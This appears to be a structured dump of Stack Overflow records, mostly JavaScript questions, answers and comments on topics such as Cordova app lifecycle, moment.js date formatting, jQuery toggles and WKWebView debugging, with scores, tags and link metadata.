has body: Given the standard RFC2616 (chapter 14.36) the fragment identifier is not included in the referrer header. The JavaScript W3C definition states a reference to a full URI as specified in RFC2396 which would include the fragment identifier. While I see no technical reason a browser implementation could not give a full referrer in JavaScript I suppose the implementation is very close to the HTTP specs and maybe even browser dependent. To my knowledge all browsers implement the referrer in JavaScript without fragment identifier.
score: 2
has comment: http://stackoverflow.com/comment/40441481
downvote count: 0
has comment: http://stackoverflow.com/comment/40442033

http://stackoverflow.com/q/25868260
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40485261
tagged with: lifecycle
has answer: http://stackoverflow.com/a/25915436
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/25912795
has answer: http://stackoverflow.com/a/25978727
has comment: http://stackoverflow.com/comment/40479546
has answer: http://stackoverflow.com/a/25997402
upvote count: 4
has body: Cordova, Version 3.5.0-0.2.6 &lt;body&gt;&lt;script&gt; alert("documentready"); document.addEventListener("deviceready", function() { alert("deviceready"); }, false); &lt;/script&gt;&lt;/body&gt; I enter the app after deploying, I get 'documentready' and 'deviceready' alerted. I leave the app with the back button. I get 'documentready' only. When I force-close the app with the taskmanager or re-deploy it, I get both alerts. I want this behaviour to occur also after normal re-entering the app. I would prefer a solution where there is no evidence left that the app has been opened before, after I leave it. Nothing restored from garbage collection etc. Ideally executing the same log as the force-close method from the task manager. OK: I want, when I close my app via back button, that exactly the same happens, as when I open the task manager and force my app to close. Is this at least theoretically possible? Alternatively, I would like the app, when left via back-button, to be in a 'hibernate-like' state, that if I re-enter it it behaves absolutely like it has never been left (call same logic as when the menu/home button is pressed). QUESTION STILL OPEN - 50RS BOUNTY TO EARN
downvote count: 0
tagged with: javascript
score: 4
has comment: http://stackoverflow.com/comment/40485593
favorite count: 0
has answer: http://stackoverflow.com/a/25915231
tagged with: android
has comment: http://stackoverflow.com/comment/40479478
has title: App behaves different after exit and re-enter
has comment: http://stackoverflow.com/comment/40479615
tagged with: cordova
has comment: http://stackoverflow.com/comment/45279969
answer count: 5

http://stackoverflow.com/a/25771833
has body: The $.each callback takes two arguments index and value. Add value as the second argument and use that argument instead.
answers question: http://stackoverflow.com/q/25771756
score: 0
type: Answer

http://stackoverflow.com/a/25777384
has body: OK so without the actual code it's hard to see what's changing it. I mean I can pull the page's source code, but it's better if you simply provide it in case you have any server side code that could effect the outcome. Anyway, with that said I noticed that your header is being changed from position: relative; padding: 30px to position: fixed; padding: 15px and according to the console window on chrome these changes take place from the element's inline style. So I would recommend looking at your Javascript code. I quickly looked at it and it seems to be coming from the following file (again I seriously looked for less than a minute): application.js nav.css({ position : 'relative', padding : '30px 0', left : nav.offset().left }); So you should double check this section and others dealing with the nav.css to make sure it's doing what you want.
answers question: http://stackoverflow.com/q/25777281
type: Answer
has comment: http://stackoverflow.com/comment/40314475
has comment: http://stackoverflow.com/comment/40320996
has comment: http://stackoverflow.com/comment/40314439
score: 0

http://stackoverflow.com/comment/40383004
type: Comment
has text: It works well except for the last word. It doesn't let me type more then 3 or 4 chars. Any ideas on that?
type: AnswerComment
comment on: http://stackoverflow.com/a/25814967
score: 0

http://stackoverflow.com/comment/40394878
has text: It looks like `boolsub` needs to be in the outermost scope.
comment on: http://stackoverflow.com/q/25821637
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25798096
has body: I am trying to add data lables to each bar in the dimple bar chart. I want to add the same as shown in this example.http://dimplejs.org/advanced_examples_viewer.html?id=advanced_custom_styling. But I want to add the number on top of each bar in the chart. My code is as below. I am not sure how to capture the 'rect' shape and append a text to it.Please advise. &lt;div id="test" class="column"&gt; &lt;script type="text/javascript"&gt; var svg = dimple.newSvg("#test", 590, 335); var data = [ {"Month": "2014-01-10", "Color": "Yellow", "Percentage": 20}, {"Month": "2014-02-10", "Color": "Yellow", "Percentage": 32}, {"Month": "2014-03-10", "Color": "Yellow", "Percentage": 20}, {"Month": "2014-04-10", "Color": "Yellow", "Percentage": 32}, {"Month": "2014-01-10", "Color": "Red", "Percentage": 10}, {"Month": "2014-02-10", "Color": "Red", "Percentage": 25}, {"Month": "2014-03-10", "Color": "Red", "Percentage": 15}, {"Month": "2014-04-10", "Color": "Red", "Percentage": 30} ]; var chart = new dimple.chart(svg, data); chart.setBounds(80, 30, 340, 200); var x = chart.addCategoryAxis("x", ["Month", "Color"]); var y1 = chart.addMeasureAxis("y", "Percentage"); var bars = chart.addSeries("Color", dimple.plot.bar, [x, y1]); bars.barGap = 0.5; chart.addLegend(50, 10, 510, 20, "right"); chart.draw(); svg.append("text") .attr("x", chart._xPixels() + chart._widthPixels() / 2) .attr("y", chart._yPixels() - 10) .style("text-anchor", "middle") .style("font-family", "sans-serif") .style("font-size", "75%") .text("Sample Text") &lt;/script&gt;
has title: How to add data labels to dimple.js bar charts?
type: Question
tagged with: javascript
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/25807851
favorite count: 0
type: AnsweredQuestion
tagged with: dimple.js
possible better answer: http://stackoverflow.com/a/25800844
tagged with: d3.js
score: 1
accepted answer: http://stackoverflow.com/a/25807851
has answer: http://stackoverflow.com/a/25800844
upvote count: 1

http://stackoverflow.com/q/25737701
accepted answer: http://stackoverflow.com/a/25737829
has answer: http://stackoverflow.com/a/25737850
has comment: http://stackoverflow.com/comment/40241807
has body: I'm struggling with this problem after a numerous attempts to make it work, so now I'm stepping forward and asking you guys for help. The goal here is to make the .nd-some-slide to change its background image, by pressing some of the .nd-some-btn links below. I have got to the point where it changes the background image of the slide, but it's just the #facebook id it seems, and no matter what link is pressed below the slide, it's always the #facebook... Without any further do, here is what I've achieved so far: HTML &lt;div id="nd-some"&gt; &lt;div class="nd-some-slide"&gt;&amp;nbsp;&lt;/div&gt; &lt;div class="nd-some-btn-pad"&gt; &lt;div class="nd-some-btn" id="facebook"&gt;&amp;nbsp;&lt;/div&gt; &lt;div class="nd-some-btn" id="twitter"&gt;&amp;nbsp;&lt;/div&gt; &lt;div class="nd-some-btn" id="googleplus"&gt;&amp;nbsp;&lt;/div&gt; &lt;div class="nd-some-btn" id="youtube"&gt;&amp;nbsp;&lt;/div&gt; &lt;div class="nd-some-btn" id="pinterest"&gt;&amp;nbsp;&lt;/div&gt; &lt;div class="nd-some-btn" id="instagram"&gt;&amp;nbsp;&lt;/div&gt; &lt;div class="nd-some-btn" id="linkedin"&gt;&amp;nbsp;&lt;/div&gt; &lt;/div&gt; CSS: #nd-some { height: auto; width: 350px; padding: 5px; background: #777; } .nd-some-slide { width: 100%; min-height: 90px; background: #000; } .nd-some-btn-pad { width: 100%; margin: 0px auto; text-align: center; border-top: 2px solid white; } .nd-some-btn { display: inline-block; min-height: 32px; min-width: 32px; margin: 5px; } .selected { background: #fff; } /* Buttons */ #facebook { background: url(http://goo.gl/rBQCg0) no-repeat; background-size: contain; } #twitter { background: url(http://goo.gl/xmgsU9) no-repeat; background-size: contain; } #googleplus { background: url(http://goo.gl/EGHtFf) no-repeat; background-size: contain; } #youtube { background: url(http://goo.gl/zkM82I) no-repeat; background-size: contain; } #pinterest { background: url(http://goo.gl/Z2Gl3A) no-repeat; background-size: contain; } #instagram { background: url(http://goo.gl/…
has comment: http://stackoverflow.com/comment/40241638
possible better answer: http://stackoverflow.com/a/25737850
tagged with: css
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25737859
has answer: http://stackoverflow.com/a/25737852
has answer: http://stackoverflow.com/a/25737829
type: Question
has answer: http://stackoverflow.com/a/25737943
has answer: http://stackoverflow.com/a/25737911
tagged with: javascript
tagged with: jquery
answer count: 6
has title: Change background image on div, based on another div's ID
has comment: http://stackoverflow.com/comment/40241813
score: 0
has comment: http://stackoverflow.com/comment/40241862
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40242004
score: 1
has text: kindly do the needful of putting up a proper fiddle.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25737895

http://stackoverflow.com/comment/40420553
comment on: http://stackoverflow.com/a/25835790
type: AnswerComment
type: Comment
has text: @p3tos..see updated answer you haven't stated condition properly in question ... see updated answer
score: 0

http://stackoverflow.com/comment/40343777
type: AnswerComment
comment on: http://stackoverflow.com/a/25793535
score: 0
type: Comment
has text: It doesn't matter. AJAX is asynchronous. When the script stops, it doesn't send the submission.

http://stackoverflow.com/comment/40362183
has text: _“It should be really easy if you know what you're doing :)”_ – well then you should see to it that you get yourself to that stage, instead of begging for ready-to-use code here.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25803283

http://stackoverflow.com/q/25841199
score: 0
has answer: http://stackoverflow.com/a/25841256
tagged with: http://stackoverflow.com/tag/html
has body: I am building an Android Application using HTML, CSS, JS. On the welcome screen I have a Registration button which helps to register first time user on a web-server. Everything works fine till here. However, when the user closes the app and again opens it the welcome screen (with the Registration button) opens. Now I want to know how to hide / disable the Registration button once the user is successfully registered? The Welcome screen will instead show another message (already implemented). Right now the user can see both the registration button and the message. Welcome ApplicationName
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25841256
has title: Show User Registration Screen Only Once
has answer: http://stackoverflow.com/a/25926328
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/25926328
tagged with: javascript

http://stackoverflow.com/a/25741434
type: Answer
has body: Your code is working fine and there is no mistake either. 1) The dropdown toggles as you have written the code to toggle it with slideToggle(200) and it toggles also when you clicked on the document anywhere provided the dropdown is visible. 2) links are working fine they are following the path. The only caution you have to take is not to click anywhere in parallel to the "Drop down" text as the "click-nav" div is 100% width.
score: 0
answers question: http://stackoverflow.com/q/25738184

http://stackoverflow.com/q/25725019
answer count: 9
accepted answer: http://stackoverflow.com/a/28641878
has body: This docs mention moment.ISO_8601 as a formatting option (from 2.7.0 - http://momentjs.com/docs/#/parsing/special-formats/), but neither of these work (even 2.7.0): var date = moment(); date.format(moment.ISO_8601); // error moment.format(date, moment.ISO_8601); // error (http://jsfiddle.net/b3d6uy05/1/) How can I get an ISO 8601 from moment.js?
has comment: http://stackoverflow.com/comment/74490352
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/64686525
has answer: http://stackoverflow.com/a/45897514
tagged with: date-formatting
upvote count: 320
type: Question
has title: How do I format a date as ISO 8601 in moment.js?
has answer: http://stackoverflow.com/a/25725031
downvote count: 0
has comment: http://stackoverflow.com/comment/40217409
tagged with: iso8601
tagged with: javascript
has answer: http://stackoverflow.com/a/28641878
has comment: http://stackoverflow.com/comment/40217313
has answer: http://stackoverflow.com/a/60734386
has answer: http://stackoverflow.com/a/49880781
possible better answer: http://stackoverflow.com/a/25725031
has answer: http://stackoverflow.com/a/71255845
has answer: http://stackoverflow.com/a/64905767
has comment: http://stackoverflow.com/comment/40217281
has answer: http://stackoverflow.com/a/44779849
tagged with: momentjs
score: 320
favorite count: 0

http://stackoverflow.com/comment/40509631
type: Comment
comment on: http://stackoverflow.com/q/25867928
score: 0
has text: @jabal..the user was listening the music in mobile native player.So, all th handle goes to the client side. I want to know the exact time duration of the audio listen by the user.
type: QuestionComment

http://stackoverflow.com/a/25763010
type: Answer
answers question: http://stackoverflow.com/q/25737304
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/40354818
has body: One approach will be to add your wysihtml5 handler in your addRow function, after appending the element in the body. function addRow(frm) { caseNum ++; var row = ' Summary: Please select at least one editon remove... '; jQuery('#caseAdd').append(row); document.getElementById("case_title").value = document.case_title.value; document.getElementById("case_summary").value = document.case_summary.value; var editor = new wysihtml5.Editor("casesum",{ toolbar: "toolbar3", stylesheets: "css/wyiswyg.css", parserRules: wysihtml5ParserRules }); }
downvote count: 0
has comment: http://stackoverflow.com/comment/40354910

http://stackoverflow.com/comment/40380229
type: Comment
type: QuestionComment
has text: Benjamin Gruenbaum, couldn't I in theory not convert to promises, but just do: promise = new Parse.Promise(); at C, return promise; at A and B, do promise.resolve() ? I'm pretty sure I could do that and it would work perfectly... it might be wise to convert entirely to promises, but I don't think you NEED to. There are drawbacks to promises, at least Parse.Promise's, such as situations where you need to differentiate between different causes of errors.
comment on: http://stackoverflow.com/q/25813337
score: 0

http://stackoverflow.com/q/25837444
favorite count: 0
has title: Rhino: Ability to pause, save state and resume javascript
upvote count: 1
has answer: http://stackoverflow.com/a/25844625
type: AnsweredQuestion
tagged with: rhino
score: 1
tagged with: java-scripting-engine
type: Question
downvote count: 0
accepted answer: http://stackoverflow.com/a/25844625
tagged with: javascript
answer count: 1
has body: I'm using Rhino to interpret javascripts by Java. My use case requires these javascripts making (multiple) service calls (RESTful/Webservices/HTTP GET/POST). Some of these service calls are async in nature (with 24 Hours of SLA). I want the ability to pause the execution of my script in such cases, serialize the state (saving it on, say S3 with key passed to the payload of async service which the service returns back on callback) and resume the execution when I get the result back from service. The challenge I'm facing is that ContinuationPending (extending RuntimeException) isn't serializable (because Context is not). Question: Is there any other way to store the state of script and get it back from its serialized form? Javascript: function invokeFooService(arg) { return foo.bar.Helper.invokeFooServiceAsync(arg); } function main() { // Main JS function .. var response = invokeFooService(arg); if (..) { .. } } Java: package foo.bar; public class Helper { public static final void invokeFooServiceAsync(String arg) { Context cx = getContext(); ContinuationPending pending = cx.captureContinuation(); // At this point the script is paused // Serialize the state of script invokeFooService(arg, key); } public static final void returnResponse(FooResponse response, String key) { // De serialize the state of script ContinuationPending pending = .. Context cx = getContext(); cx.resumeContinuation(pending.getContinuation(), getScope(), response); // Script is resumed } }

http://stackoverflow.com/q/25855308
has comment: http://stackoverflow.com/comment/40457447
favorite count: 0
has comment: http://stackoverflow.com/comment/40460295
tagged with: three.js
type: AnsweredQuestion
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/25857855
has body: I need to take a long (max resolution) image and wrap it into a circle. So imagine bending a steel bar so that it is now circular with each end touching. I have been banging my head against threejs for the last 8 hours and have so far managed to apply the image as a texture on a circle geometry, but can't figure out how to apply the texture to a long mesh and then warp that mesh appropriately. The warping doesn't need to be (and shouldn't be) animated. What we basically have is a 360 panoramic image that we need to "flatten" into a top-down view. In lieu of sharing my code (as it's not significantly different), I've so far been playing around with this tutorial: http://www.johannes-raida.de/tutorials/three.js/tutorial06/tutorial06.htm And I do (I think) understand the broad strokes at this point. Other things I've tried is to use just canvas to slice the image up into strips and warp each strip... this was horribly slow and I couldn't get that to work properly either! Any help/suggestions?
type: Question
possible better answer: http://stackoverflow.com/a/25857855
tagged with: javascript
has comment: http://stackoverflow.com/comment/40459163
has title: I need to warp a long image into a 2d circle (webGL). Distortion is expected
has answer: http://stackoverflow.com/a/25859386
has comment: http://stackoverflow.com/comment/40459648
answer count: 2
accepted answer: http://stackoverflow.com/a/25859386
downvote count: 0

http://stackoverflow.com/comment/40435788
has text: Just try to play with your light a bit (change position, add other lights) to make sure the problem does not lie in your lighting. That might solve it.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25803033
type: Comment

http://stackoverflow.com/comment/40518928
type: QuestionComment
comment on: http://stackoverflow.com/q/25864431
score: 0
has text: Thank you @LanNguyen. As for #2 `find` and `filter` differs in that `find` runs a request to my API while `filter` runs a request on the loaded records. This is actually the main thing that I would like to avoid.
type: Comment

http://stackoverflow.com/q/25871586
type: Question
tagged with: debugging
tagged with: ios8
tagged with: ios
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25891261
linked to: http://stackoverflow.com/q/2767902
downvote count: 0
has answer: http://stackoverflow.com/a/25885084
tagged with: wkwebview
has title: How to debug javascript code inside a WKWebView
favorite count: 0
possible better answer: http://stackoverflow.com/a/48711205
has answer: http://stackoverflow.com/a/48711205
answer count: 4
type: AnsweredQuestion
has body: I'm having some trouble with running a webapp in a WKWebView (specifically: some buttons are not responding). I used this tutorial as a guide and did succeed in having the webview display my webapp. So now I want to debug the javascript code. I know the webapp works, since I've tried it in both an android webview as well as countless browsers (including safari on the iPad simulator I'm using). After some quick googling, I found out how to debug javascript inside a UIWebView using Safari. Sadly This doesn't seem to work with the new WKWebView. When I navigate to Develop-&gt;iPad Simulator I'm told that there are 'No Inspectable Applications'. I've tried the very same thing with a simple app with a UIWebView and debugging through safari works perfectly there. Is there a way to debug javascript code within a WKWebView? To reproduce my problems (using swift), start a new single screen project in xCode 6, copy the code (courtesy of kinderas) provided below in your ViewController.swift file and drag the outlet to View under View Controller in the document outline in the Main.storyboard file. Refer to the tutorial I linked above in case of confusion. import UIKit import WebKit class ViewController: UIViewController { @IBOutlet var containerView : UIView! = nil var webView: WKWebView? override func loadView() { super.loadView() self.webView = WKWebView() self.view = self.webView! } override func viewDidLoad() { super.viewDidLoad() var url = NSURL(string:"http://www.kinderas.com/") var req = NSURLRequest(URL:url) self.webView!.loadRequest(req) } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() } }
has answer: http://stackoverflow.com/a/25891261
score: 21
has answer: http://stackoverflow.com/a/79433977
upvote count: 21

http://stackoverflow.com/q/25812074
type: Question
tagged with: angular-foundation
tagged with: javascript
has comment: http://stackoverflow.com/comment/40377290
has title: angular foundation modals, can't send back information
tagged with: zurb-foundation
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40376786
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40376832
answer count: 0
score: 0
has body: I am using an integration of foundations modals with angular (http://pineconellc.github.io/angular-foundation/) and am having trouble with the modal sending back the proper information on close: Here's what I have the modal: The modal functions in the controller it's inside : $scope.openModal = function () { var modalInstance = $modal.open({ templateUrl: 'dataBlockType.html', controller: ModalInstanceCtrl, resolve: { items: function () { return $scope.dataTypes; } } }); //return of modal modalInstance.result.then(function (returnAns) { $scope.storeTempName = returnAns; console.log($scope.storeTempName); //push new information from modal in $scope.dataBlockstypes.push({id:"",name: "" , blocks: [], typeId: "" }); }, function () { //return function if needed }); }; The modal controller: var ModalInstanceCtrl = function ($scope, $modalInstance, items) { $scope.blockTHereSelect = {}; //bring in retuned list to populate modal select list $scope.items = items; //pass back selection $scope.ok = function () { $modalInstance.close($scope.blockTHereSelect); }; //close $scope.cancel = function () { $modalInstance.dismiss('cancel'); }; }; So this works fine for passing information to populate the modal from the original controller (yay). But Where I seem to be having issues is passing back the selected options name and id. My thinking was if i just pass back the model attached to it ($scope.blockTHereSelect), it would pass and object which i could then call .id and .name on. However it's coming back as an empty object and if i try to send $scope.blockTHereSelect.id and $scope.blockTHereSelect.name individually they come back undefined. I seem to be a little stumped, I think it might be in something with how the models or scopes work within the modal controller. Would appreciate any help, can't seem to solve this. Thanks!!
has comment: http://stackoverflow.com/comment/40377444

http://stackoverflow.com/comment/40316510
score: 0
type: QuestionComment
has text: Could you provide a fiddle link?
type: Comment
comment on: http://stackoverflow.com/q/25778744

http://stackoverflow.com/q/25717920
answer count: 1
downvote count: 0
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40204078
type: AnsweredQuestion
has title: jQuery reset toggle state?
has comment: http://stackoverflow.com/comment/40204175
score: 1
upvote count: 1
has body: I'm using toggle on a button like so: $('#button123').toggle(function() { $("#button123").text("-"); $("#slideDiv").slideDown( "fast", function() { }); }, function() { $("#button123").text("+"); $("#slideDiv").slideUp( "fast", function() { }); }); Further down in my code I want to "reset" the toggle state. and make slideDiv slide back up. Currently I am trying to do that by: $("#button123").text("+"); $("#slideDiv").slideUp("fast", function() { // Animation complete. }); The problem is that after running that code I have to press button123 twice for the toggle to work again. I'm assuming this is because I somehow need to reset it? Any ideas?
has answer: http://stackoverflow.com/a/25718092
type: Question
has comment: http://stackoverflow.com/comment/40204255
accepted answer: http://stackoverflow.com/a/25718092
tagged with: javascript

http://stackoverflow.com/a/25747945
score: 1
type: AcceptedAnswer
downvote count: 0
has body: Try this: example and example with clear form here var isFormChanged = false; $("select").change(function () { var type = $(this).val(); if(isFormChanged) { var sure= confirm ('Your changes will be lost, proceed?'); if(sure) { $('div.box.active').find('input[type=text]').val(''); $('div.box.active').find('input[type=radio],[type=checkbox]').prop('checked',false); showForm(type); }else { return false; } } showForm(type); }); function showForm(type) { $('div.box').removeClass('active').hide(); $('div.box.'+type).show().addClass('active'); isFormChanged = false; } $('div.box').find('input').on('change',function(){ isFormChanged = true; });
type: Answer
answers question: http://stackoverflow.com/q/25747623
upvote count: 1
has comment: http://stackoverflow.com/comment/40260095
has comment: http://stackoverflow.com/comment/40260527
accepted answer of: http://stackoverflow.com/q/25747623

http://stackoverflow.com/q/25777323
favorite count: 0
type: UnansweredQuestion
tagged with: css
score: 2
upvote count: 2
has body: When MathJax renders the vertical height expands, I would like the container DOM's bottom margin updated after the render (there's supposed to be a 2em margin at the bottom. I tried adding a footer, it did move the container up a bit from being at bottom=0, but it's still not what I would like. This is a fiddle with the Sticky Footer code from css-tricks.com. http://jsfiddle.net/4thhsa8c/1/ I also tried appending the footer by using the MathJax listener, neither the MathJax listener nor $(window).load managed to 'bump' the container. Actually appending made the footer float up the page. (and it not like I really what the footer!) MathJax.Hub.Register.StartupHook("MathZoom Ready", function() { var $newdiv = $("&lt;div class='footer'/&gt;"); $("body").append( $newdiv ); }); }); SO! How to update or preserve the bottom margin spacing of the container DOM after MathJax renders? Thanks.
type: Question
tagged with: javascript
tagged with: jquery
has title: MathJax expands page vertical height after rendering fonts
has answer: http://stackoverflow.com/a/25797641
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/40234855
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25733852
has text: Can you be a little more specific? My answer included quite a few changes
score: 0

http://stackoverflow.com/comment/57757128
has text: there's any way to do this in angular version of slick? thank you
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25847520

http://stackoverflow.com/q/25801442
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/28988447
has comment: http://stackoverflow.com/comment/40494511
tagged with: parameter-passing
tagged with: aura-framework
score: 3
upvote count: 3
has body: I am working on Salesforce1 (Aura platform). I am trying to pass values from client-side (javascript) to server-side controller(Apex-code). I tried by using setParams(); in JavaScript and @key annotation in Apex but @key is not supported in Apex. Thanks in advance. I am giving sample code here... APPLICATION code: &lt;aura:application&gt; &lt;PlumQ:example/&gt; &lt;/aura:application&gt; COMPONENT code: &lt;aura:component model="PlumQ.ExampleServerSideController"&gt; &lt;aura:attribute name="firstName" type="String" default="HELLO worlD"/&gt; &lt;ui:inputtext label="Name" aura:id="id1" value="{!v.firstName}" placeholder = "enter name" /&gt; &lt;ui:button label="Native Aura Button" press="{!c.echo}"/&gt; &lt;/aura:component&gt; **client-side-controller(JAVASCRIPT):** ({ "echo" : function(component) { alert('in client-Side-process'); var b =component.get("v.firstName"); alert('firstnaaaaame:::::::::::::'+b); var a = component.get("m.serverEcho"); alert('After ServerSide Process'); a.setParams({ firstName : component.get("v.firstName") }); a.setCallback(this, function(action) { if (action.getState() === "ERROR") { alert("Server Error: " + action.getError()[0].message); } else{ alert("From server: " + action.getReturnValue()); } }); $A.enqueueAction(a); } }) server-side-controller(APEX CLASS): public class ExampleServerSideController { @AuraEnabled public static String serverEcho(@Key("firstName") String firstName){ System.out.println("In Example Trival controllerrrrr"+firstName); return ("From server: " +firstName); } }
type: Question
tagged with: apex
answer count: 2
downvote count: 0
tagged with: salesforce
tagged with: javascript
has answer: http://stackoverflow.com/a/26613964
favorite count: 0
has title: SALESFORCE1(AURA PLATFORM): How to pass values from a client-side-code(JavaScript code) to server-side-code(APEX)?

http://stackoverflow.com/q/25837127
has comment: http://stackoverflow.com/comment/40423157
type: AnsweredQuestion
score: 1
upvote count: 1
accepted answer: http://stackoverflow.com/a/25837200
type: Question
tagged with: object
tagged with: javascript
has body: I'm trying to create a deep object equivalent to user['address']['street'] = VALUE If I have a string like: var user = 'user[address][street]' user.split(/[[\]]{1,2}/).slice(0,-1); // which gives me [user, address, street] I'm trying to get: user: { address: { street : VALUE } } I've managed to figure out how to create the deep object: var newObj = obj split.forEach(function(item){ newObj = newObj[item] = {} }) but I'm struggling with setting the value on the last property. http://jsfiddle.net/catc/8LfLk5a5/
downvote count: 0
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25837200
has title: Creating deep object with value via loop

http://stackoverflow.com/a/25819930
score: 0
type: Answer
has body: The code you are using parses date strings by just passing them into the Date constructor. The Date constructor expects a very specific format. I suspect it is not working because the date strings you are handing it do not conform to that format, thus Date is not producing a valid date object which is causing the comparison function to fail. When dealing with dates moment.js is often very helpful. In this case it could make your not only more flexible but much more readable. Moment will allow you to provide a list of acceptable date formats it will use to parse the date strings you provide it. It also provides a number of methods for comparing dates such as isAfter. Using these your code could be rewritten to something like this: function validateForm() { var acceptedFormats = ["MM-DD-YYYY", "DD-MM", "DD-MM-YYYY"], fromDate = moment(document.getElementsByName('fdate')[0].value, acceptedFormats), toDate = moment(document.getElementsByName('tdate')[0].value, acceptedFormats); if (fromDate.isAfter(toDate)) { // much more readable, it's practically a sentence! alert("To Date must be after From Date"); return false; } return true; } Something else I just noticed, your code will always fail to submit the form even if the date comparison passes. When the comparison fails you explicitly return false which stops the form from submitting. But when the test passes you don't return anything, implicitly returning undefined. When undefined is passed into the submit handler ONSUBMIT="return validateForm()", it will be coerced into false, also causing the form to not submit.
answers question: http://stackoverflow.com/q/25819570

http://stackoverflow.com/q/25714773
has answer: http://stackoverflow.com/a/25714784
has body: This is my function: function isLoggedIn(){ $newuid = uid; alert("1"); if(uid == null){return false;} $.getJSON("login.jsp",{uname: uname, upass : upass},function(data){ alert("2"); $newuid = data.uid; }); alert("3"); return $newuid == uid; } It will alert 1 then 3 and then 2. Why is that and how can i fix it?
linked to: http://stackoverflow.com/q/14220321
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/14220321
has title: Why is my Javascript function no working as intended?
type: Question
answer count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40198198
score: 0

http://stackoverflow.com/q/25743473
type: UnansweredQuestion
tagged with: google-chrome
score: 2
type: Question
tagged with: canvas
downvote count: 0
tagged with: javascript
favorite count: 0
has body: I am using SmoothieCharts (http://smoothiecharts.org/tutorial.html) first time in one of my projects and have discovered huge memory consumption while running it in Chrome browser. Looking in TaskManager shows me, that there are about 300kB additionally consumed every second. After some amount of time the memory of this chrome task grows from around 50MB up to 1,3GB resulting in a freezing system. The leak also occurs if no data is streamed to the chart and it just updates the grid lines. So maybe it's not about SmoothieCharts but Canvas implementation in Chrome? Tests with IE(11) and current FireFox could not reproduce the problem. Had anyone else such a problem in the past? I'm using Chrome 37.0.2062.103. Looking at the timeline(chrome dev tools[f12]) for memory usage its points to the animation frame fired event as increase in memory. SmoothieChart.prototype.start = function() { if (this.frame) { // We're already running, so just return return; } // Renders a frame, and queues the next frame for later rendering var animate = function() { // the line below is where the leak is happening, I believe!! this.frame = SmoothieChart.AnimateCompatibility.requestAnimationFrame(function() { this.render(); animate(); }.bind(this)); }.bind(this); animate(); };
tagged with: memory-leaks
has title: SmoothieChart leaks memory in Google Chrome
has comment: http://stackoverflow.com/comment/59628731
answer count: 0
upvote count: 2

http://stackoverflow.com/q/25787959
answer count: 2
has title: Slide toggle in list items, but should not toggle when click on the child item
tagged with: javascript
tagged with: jquery
accepted answer: http://stackoverflow.com/a/25788534
possible better answer: http://stackoverflow.com/a/25788526
score: 0
has answer: http://stackoverflow.com/a/25788534
type: AnsweredQuestion
tagged with: slidetoggle
has body: What I'm trying to do is .. when I click the first list item it should display what are the options for that list item then if the user click any of that options, the slide toggle must not be toggled that's my problem :<. the toggle enables when i click the item inside the list item Any kind of help would be great, thanks :D This is my HTML File Home Notifications and Schedules for Today Crew Management Add Account View / Update Account User Management Add Account View / Update Account Service Management Add Services / Types View / Update Services View / Update Types Schedule Management View / Update Schedules Content Management Page Wallpapers Page Infos Employee O.T.M Company Logo Terms of Services and Conditions Bank Management Add Option/Account View / Update Option/s View / Update Account/s Report Management Accounts Services Schedules Store Configurations Manage Store Option/s This is my CSS File body{ display:inline !important; font-family:segoe ui; background-color:#111111; } /*divs*/ #div_body_wrapper{ position:absolute; top:0px; padding:10px; } .div_clear{ clear:both; } .div_banner{ float:left; width:1320px; min-height:30px; background-color:black; color:white; } .div_body{ float:left; width:1125px; min-height:640px; background-color:#313131; margin-left:5px; } .div_footer{ float:left; width:1320px; height:30px; background-color:black; color:white; padding:5px; } .div_navigation{ float:left; width:180px; min-height:30px; background-color:#202020; } .div_banner, .div_body, .div_navigation{ padding:5px; margin-bottom:5px; } .div_content_wrapper{ display: block; overflow:auto; } /*divs*/ /*div banner*/ .btn_banner{ float:right; margin-top:30px; border:0px; padding:5px; background-color:#ffb804; border-radius:3px; font-size:18px; margin-left:5px; margin-right:5px; } .btn_banner:hover{ background-color:#636363; color:white; cursor:pointer; } /*div banner*/ /*div banner*/ #lbl_banner{ color:white; font-size:50px; font-family:Century Gothic; font-weight:bold; tex…
type: Question
has answer: http://stackoverflow.com/a/25788526

http://stackoverflow.com/a/25842745
answers question: http://stackoverflow.com/q/25842557
has comment: http://stackoverflow.com/comment/40433571
has body: Assuming your input data is an object containing several arrays, like so: var val = { _id: ["5412fc1bd123cf7016674a92", "5412cf270e9ca9b517b43ca3"], _id2: ["5412cf5a6cc4f4bc151fd220"] }; You can get the desired array structure pretty easily using concat: var flat = []; for (var key in val) { flat = flat.concat(val[key]); } console.log(flat); Output: [ '5412fc1bd123cf7016674a92', '5412cf270e9ca9b517b43ca3', '5412cf5a6cc4f4bc151fd220' ]
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/40433531
downvote count: 0
score: 1

http://stackoverflow.com/comment/40361353
type: AnswerComment
type: Comment
has text: Thank you, it looks like what I was searching for!
comment on: http://stackoverflow.com/a/25801972
score: 0

http://stackoverflow.com/comment/40356382
has text: I'll give you one for that, @ruffin, I didn't actually _get_ it from your answer, I was too busy struggling over on JSLint and GitHub to try figure out what the heck the author was thinking :-) But you've explained that aspect better than I have, so +1.
comment on: http://stackoverflow.com/a/25799753
score: 0
